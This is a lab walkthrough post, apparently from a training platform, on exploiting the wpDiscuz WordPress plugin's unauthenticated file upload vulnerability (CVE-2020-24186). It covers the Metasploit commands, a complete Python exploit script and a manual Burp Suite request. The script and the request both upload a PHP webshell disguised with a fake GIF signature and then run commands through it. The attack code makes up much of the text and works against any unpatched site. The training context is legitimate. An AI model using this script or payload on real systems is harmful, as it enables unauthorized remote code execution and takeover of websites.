blog
Vulnerability Lab: WordPr ...
03 November 22

Vulnerability Lab: WordPress Plugin wpDiscuz Unauthenticated RCE

Posted byINE
facebooktwitterlinkedin
news-featured

In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Purpose: We will learn how to exploit WordPress Plugin wpDiscuz using the Metasploit Framework module. We will see how to exploit it using a python script as well. We will also learn how to exploit it manually to better understand the vulnerability.

Goal after completing this scenario: Retrieve the flag!

Technical difficulty: Beginner

Introduction

The wpDiscuz  plugin is a commenting plugin for WordPress. It enables visitors to discuss topics and easily customise their comments through the use of a rich text editor. It also provides an image uploading functionality that allows users to upload an image along with their comments. However, the improper implementation of this feature resulted in a critical vulnerability. The plugin v7.0 to v7.0.4 suffers from a remote code execution vulnerability which allows unauthenticated users to upload any type of file, including PHP files via the wmuUploadFiles AJAX action. Even though only image attachments were intended to be allowed, this vulnerability occurred due to certain file mime type detection functions that were used, which checked for the file mime type based on the file content. It was discovered that any file type that had image-identifying features would bypass the check and could easily get uploaded.

This vulnerability has been assigned the CVE id CVE-2020-24186. The CVSS score for this vulnerability is 10.0 Critical!

Reference: https://nvd.nist.gov/vuln/detail/CVE-2020-24186

Read More: https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/

Lab Link: https://my.ine.com/INE/courses/ebd09929/cyber-security-vulnerabilities-training-library/lab/0f28a510-f2e9-42b5-8145-0fc86772b4b6

Lab Environment

In this lab environment, the user is going to get access to a Kali GUI instance. A vulnerable version of the wpDiscuz WordPress plugin is running on the target machine. It can be accessed using the tools installed on Kali at http://demo.ine.local.

The complete path to the post is: http://demo.ine.local/index.php/2022/05/20/hello-world/

Objective: Exploit the unauthenticated remote code execution vulnerability in the wpDiscuz WordPress plugin to gain shell access on the target server and retrieve the flag!

wpDiscuz_0.jpg

Tools

The best tools for this lab are:

  • Nmap

  • Dirb

  • Curl

  • A web browser

  • Python

  • Metasploit Framework

Solution

Step 1: Open the lab link to access the Kali GUI instance.

wpDiscuz_1.jpg

Step 2: Check if the provided machine/domain is reachable.

Command: ping -c3 demo.ine.local

wpDiscuz_2.jpg

The provided machine is reachable. 192.162.69.3 is the IP address of the target machine.

Step 3: Check open ports on the provided machine.

Command: nmap -sS -sV demo.ine.local

wpDiscuz_3.jpg

Apache httpd 2.4.18 is running on port 80 on the target machine.

Step 4: Next we will use the dirb tool to find files and directories on the web server.

Command: dirb http://demo.ine.local

wpDiscuz_4.jpg

Step 5: We can notice that WordPress is running on the target machine. We will run the dirb tool again to find installed plugins on the target machine.

Command: 

dirb http://demo.ine.local/wp-content/plugins /usr/share/nmap/nselib/data/wp-plugins.lst

wpDiscuz_5.jpg

Step 6: We can notice that the wpdiscuz plugin is installed on the target machine. All the WordPress plugins have either **readme.txt" or "README.txt" file in their directory, from which we can find the plugin version. We can use the curl command here to view the first few lines of "readme.txt" file.

Command: curl http://demo.ine.local/wp-content/plugins/wpdiscuz/readme.txt | head -n 10

wpDiscuz_6.jpg

The Stable tag shows 7.0.4, which is a vulnerable version.

Exploit using Metasploit module

Step 7: First check the attacker machine's IP address.

Command: ifconfig

wpDiscuz_7.jpg

192.162.69.2 is the attacker machine's IP address.

Step 8: Start the msfconsole and do a search for the module for CVE-2020-24186.

Commands:

msfconsole -q

search CVE-2020-24186

wpDiscuz_8.jpg

Step 9: We get the desired module. Run the following command to use this module.

Command: use exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload

wpDiscuz_9.jpg

Step 10: You can also quickly run the following command to see what all options are required and what needs to be changed.

Command: show options

wpDiscuz_10.jpg

Step 11: Now run the following commands one by one:

Commands:

set RHOSTS 192.162.69.3

set BLOGPATH /index.php/2022/05/20/hello-world/

set LHOST 192.162.69.2

check

exploit

Note: RHOSTS is the target machine's IP address and LHOST is the attacker machine's IP address. And these values may vary for you.

wpDiscuz_11.jpg

We have successfully gained the meterpreter session.

Step 12: Run the following command to access bash.

Commands: shell

wpDiscuz_12.jpg

Step 13: Find the flag file.

Command: find / -iname *flag* 2>/dev/null

wpDiscuz_13.jpg

The flag is present in /var/www/html/THIS_IS_FLAG1212424 file.

Step 14: Retrieve the flag.

Command: cat /var/www/html/THIS_IS_FLAG1212424

wpDiscuz_14.jpg

FLAG: b5a6d2d2611d17f6aa50056727ea411e

Exploit using Python script

We will use the public exploit script available at the following URL:

URL: https://github.com/h3v0x/CVE-2020-24186-WordPress-wpDiscuz-7.0.4-RCE/blob/main/wpDiscuz_RemoteCodeExec.py

Step 15: From the terminal, save the following python code in a file named exploit.py.

#!/bin/python3
# Exploit Title: WordPress Plugin wpDiscuz 7.0.4 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2021/06/08
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://gvectors.com/
# Software Link: https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
# Version: wpDiscuz 7.0.4
# Tested on: Debian9, Windows 7, Windows 10 (Wordpress 5.7.2)
# CVE : CVE-2020-24186
# Thanks for the great contribution to the code: Z3roC00l (https://twitter.com/zeroc00I)
import requests
import optparse
import re
import random
import time
import string
import json
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://192.168.1.81/blog")
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /2021/06/blogpost")
options, args = parser.parse_args()
if not options.url or not options.path:
    print('[+] Specify an url target')
    print('[+] Example usage: exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost')
    print('[+] Example help usage: exploit.py -h')
    exit()
session = requests.Session()
main_url = options.url
path = options.path
url_blog = main_url + path
clean_host = main_url.replace('http://', '').replace('/wordpress','')
def banner():
    print('---------------------------------------------------------------')
    print('[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution')
    print('[-] File Upload Bypass Vulnerability - PHP Webshell Upload')
    print('[-] CVE: CVE-2020-24186')
    print('[-] https://github.com/hevox')
    print('--------------------------------------------------------------- \n')
def csrfRequest():
    global wmuSec
    global wc_post_id
    try:
        get_html = session.get(url_blog)
        response_len = str(len(get_html.text))
        response_code = str(get_html.status_code)
        print('[+] Response length:['+response_len+'] | code:['+response_code+']')
        raw_wmu = get_html.text.replace(',','\n')
        wmuSec = re.findall('wmuSecurity.*$',raw_wmu,re.MULTILINE)[0].split('"')[2]
        print('[!] Got wmuSecurity value: '+ wmuSec +'')
        raw_postID = get_html.text.replace(',','\n')
        wc_post_id = re.findall('wc_post_id.*$',raw_postID,re.MULTILINE)[0].split('"')[2]
        print('[!] Got wmuSecurity value: '+ wc_post_id +' \n')
    except requests.exceptions.HTTPError as err:
        print('\n[x] Failed to Connect in: '+url_blog+' ')
        print('[x] This host seems to be Down')
        exit()
def nameRandom():
    global shell_name 
    print('[+] Generating random name for Webshell...')
    shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))
    time.sleep(1)  
    print('[!] Generated webshell name: '+shell_name+'\n')
    return shell_name
def shell_upload():
    global shell
    print('[!] Trying to Upload Webshell..')
    try:
        upload_url = main_url + "/wp-admin/admin-ajax.php"
        upload_cookies = {"wordpress_test_cookie": "WP%20Cookie%20check", "wpdiscuz_hide_bubble_hint": "1"}
        upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------2032192841253859011643762941", "Origin": "http://"+clean_host+"", "Connection": "close", "Referer": url_blog}
        upload_data = "-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nwmuUploadFiles\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_nonce\"\r\n\r\n"+wmuSec+"\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmuAttachmentsData\"\r\n\r\n\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\""+shell_name+".php\"\r\nContent-Type: image/png\r\n\r\nGIF689a;\r\n\r\n<?php system($_GET['cmd']); ?>\r\n\x1a\x82\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"postId\"\r\n\r\n"+wc_post_id+"\r\n-----------------------------2032192841253859011643762941--\r\n"
        check = session.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data)
        json_object = (json.loads(check.text))
        status = (json_object["success"])
        get_path = (check.text.replace(',','\n'))
        shell_pret = re.findall('url.*$',get_path,re.MULTILINE)
        find_shell = str(shell_pret)
        raw = (find_shell.replace('\\','').replace('url&quot;:&quot;','').replace('\',','').replace('&quot;','').replace('[\'',''))
        shell = (raw.split(" ",1)[0])
        if status == True:
            print('[+] Upload Success... Webshell path:' +shell+' \n')
        else:
            print('[x] Failed to Upload Webshell in: '+ url_blog +' ')
            exit()
    except requests.exceptions.HTTPError as conn:
        print('[x] Failed to Upload Webshell in: '+ url_blog +' ')
    return shell
def code_exec():
    try:
            while True:
                cmd = input('> ')
                codex = session.get(shell + '?cmd='+cmd+'')
                print(codex.text.replace('GIF689a;','').replace('�',''))
    except:
        print('\n[x] Failed to execute PHP code...')
banner()
csrfRequest()
nameRandom()
shell_upload()
code_exec()

Now, run the script along with the required arguments as shown below.

Command: python3 exploit.py -u http://demo.ine.local -p /index.php/2022/05/20/hello-world/

wpDiscuz_15.jpg

The python script successfully exploited the target.

Exploit Manually

Step 16: Configure the intercept on the browser as shown below.

wpDiscuz_16.jpg

Step 17: Start Burp Suite and capture the following request: 

URL: http://demo.ine.local/index.php/2022/05/20/hello-world/ 

Next, send the captured request to the repeater. And then you can turn off the intercept.

wpDiscuz_17.jpg

Step 18: Replace the request in the repeater with the following.

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1

Host: demo.ine.local

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=---------------------------80428247527883332923653124875

Content-Length: 854

Origin: http://demo.ine.local

Connection: close

Referer: http://demo.ine.local/index.php/2022/05/20/hello-world/

-----------------------------80428247527883332923653124875

Content-Disposition: form-data; name="action"

wmuUploadFiles

-----------------------------80428247527883332923653124875

Content-Disposition: form-data; name="wmu_nonce"

8376c835fe

-----------------------------80428247527883332923653124875

Content-Disposition: form-data; name="wmuAttachmentsData"

undefined

-----------------------------80428247527883332923653124875

Content-Disposition: form-data; name="wmu_files[0]"; filename="backdoor.php"

Content-Type: image/png

GIF89a;

<?php system($_GET['cmd']); ?>

-----------------------------80428247527883332923653124875

Content-Disposition: form-data; name="postId"

1

-----------------------------80428247527883332923653124875--

Remember to change the wmuSecurity value in the above request as it may be different for you. This value is placed here in the request as shown below.

wpDiscuz_18.jpg

Also, note that the post id is already set to 1.

wpDiscuz_18_1.jpg

You can find the wmuSecurity value from View Page Source.

wpDiscuz_18_2.jpg

wpDiscuz_18_3.jpg

Similarly, you can verify the post id by searching for wc_post_id.

wpDiscuz_18_4.jpg

Now let's see what we are doing here. We have just added a fake signature of an allowed file type in our php file. This will bypass the file content verification check and our php backdoor will get uploaded.

wpDiscuz_18_5.jpg

Step 19: Hit Send. The exploit worked and we get a link to the uploaded file in the response.

wpDiscuz_19.jpg

Step 20: Copy that link and append ?cmd=id to it and run it. The id command is successfully executed.

wpDiscuz_20.jpg

Conclusion

In this article, we learned how to exploit the unauthenticated remote code execution vulnerability in wpDiscuz WordPress plugin v7.0.4 using Metasploit module, using Python script as well as manually using Burp Suite.

References

Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Need training for your entire team?

Schedule a Demo

Hey! Don’t miss anything - subscribe to our newsletter!

© 2022 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo